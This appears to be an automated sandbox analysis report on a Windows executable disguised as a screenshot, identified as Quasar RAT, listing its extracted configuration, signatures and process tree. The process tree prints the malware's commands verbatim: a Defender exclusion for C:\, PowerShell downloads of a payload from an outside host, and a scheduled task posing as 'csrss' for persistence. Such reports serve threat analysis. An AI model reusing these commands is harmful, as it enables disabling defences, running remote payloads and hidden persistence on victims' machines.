Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/06/2023, 17:41

General

  • Target
    Capture_decran_2023-05-30_a_19.07.12.exe
  • Size 201KB
  • Sample230609-v9flkacg63
  • SHA256 d90d108900ca928c0e23563af58973e560594b0c7695a990f3fdcbfdfcf56ffa
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • quasar

Version
  • 1.4.1

Botnet
  • Office04

C2
  • ratcentho.ddns.net:1604

Mutex
  • a48091b5-8649-4186-b51d-37847b346bbb

Attributes
  • encryption_key

    E111C166FC0FC5E69CF243BDE5027B1BBD76712A

  • install_name

    Client.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    csrss

  • subdirectory

    SubDir

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 6 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Capture_decran_2023-05-30_a_19.07.12.exe
    "C:\Users\Admin\AppData\Local\Temp\Capture_decran_2023-05-30_a_19.07.12.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5068
    • C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\8050.tmp\8051.tmp\8062.bat C:\Users\Admin\AppData\Local\Temp\Capture_decran_2023-05-30_a_19.07.12.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2180
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell Set-MpPreference -ExclusionPath C:\
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1324
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell Invoke-WebRequest 'https://cdn.discordapp.com/attachments/915364183200120892/1113151698203066408/Capture_decran_2023-05-30_a_19.07.12.png' -OutFile Capture_decran_2023-05-30_a_19.07.12.png
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4068
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell Invoke-WebRequest 'http://centhologie.freeboxos.fr:8000/explorer.exe' -OutFile explorer.exe
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3264
      • C:\Users\Admin\AppData\Local\Temp\explorer.exe
        .\explorer.exe
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:900
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "csrss" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
          4⤵
          • Creates scheduled task(s)
          PID:4756
        • C:\Users\Admin\AppData\Roaming\SubDir\Client.exe
          "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:4072
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "csrss" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
            5⤵
            • Creates scheduled task(s)
            PID:2288

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 0758b9d5ba5252527e23f17b9dafdb89e58a6e5cb1e71e47e9ba70741603ecd8
        • MD5 SHA1 SHA512

        8062.bat

        • Path C:\Users\Admin\AppData\Local\Temp\8050.tmp\8051.tmp\8062.bat
        • Size 449B
        • SHA256 5d7d451b3e90d452f1604630855e5768c94ce86a455e68333e8160d9316d59f5
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_dx3lnijq.roi.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dx3lnijq.roi.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        explorer.exe

        • Path C:\Users\Admin\AppData\Local\Temp\explorer.exe
        • Size 3.1MB
        • SHA256 4041ad409dcfd7b2ae14b4b7ac5928debb38e2e02dcb7837e1ebacf0a1ed3773
        • MD5 SHA1 SHA512 SSDEEP

        explorer.exe

        • Path C:\Users\Admin\AppData\Local\Temp\explorer.exe
        • Size 3.1MB
        • SHA256 4041ad409dcfd7b2ae14b4b7ac5928debb38e2e02dcb7837e1ebacf0a1ed3773
        • MD5 SHA1 SHA512 SSDEEP

        Client.exe

        • Path C:\Users\Admin\AppData\Roaming\SubDir\Client.exe
        • Size 3.1MB
        • SHA256 4041ad409dcfd7b2ae14b4b7ac5928debb38e2e02dcb7837e1ebacf0a1ed3773
        • MD5 SHA1 SHA512 SSDEEP

        Client.exe

        • Path C:\Users\Admin\AppData\Roaming\SubDir\Client.exe
        • Size 3.1MB
        • SHA256 4041ad409dcfd7b2ae14b4b7ac5928debb38e2e02dcb7837e1ebacf0a1ed3773
        • MD5 SHA1 SHA512 SSDEEP

        Client.exe

        • Path C:\Users\Admin\AppData\Roaming\SubDir\Client.exe
        • Size 3.1MB
        • SHA256 4041ad409dcfd7b2ae14b4b7ac5928debb38e2e02dcb7837e1ebacf0a1ed3773
        • MD5 SHA1 SHA512 SSDEEP

        memory/900-186-0x000000001B8F0000-0x000000001B900000-memory.dmp

        memory/900-185-0x0000000000A40000-0x0000000000D64000-memory.dmp

        memory/1324-145-0x000001EE21A80000-0x000001EE21A90000-memory.dmp

        memory/1324-147-0x000001EE21A80000-0x000001EE21A90000-memory.dmp

        memory/1324-146-0x000001EE21A80000-0x000001EE21A90000-memory.dmp

        memory/1324-140-0x000001EE23C70000-0x000001EE23C92000-memory.dmp

        memory/3264-178-0x00000206EFB40000-0x00000206EFB50000-memory.dmp

        memory/3264-179-0x00000206EFB40000-0x00000206EFB50000-memory.dmp

        memory/3264-177-0x00000206EFB40000-0x00000206EFB50000-memory.dmp

        memory/4068-162-0x0000019445070000-0x0000019445080000-memory.dmp

        memory/4068-161-0x0000019445070000-0x0000019445080000-memory.dmp

        memory/4068-163-0x0000019445070000-0x0000019445080000-memory.dmp

        memory/4072-193-0x00000000031B0000-0x00000000031C0000-memory.dmp

        memory/4072-194-0x000000001C5C0000-0x000000001C610000-memory.dmp

        memory/4072-195-0x000000001C6D0000-0x000000001C782000-memory.dmp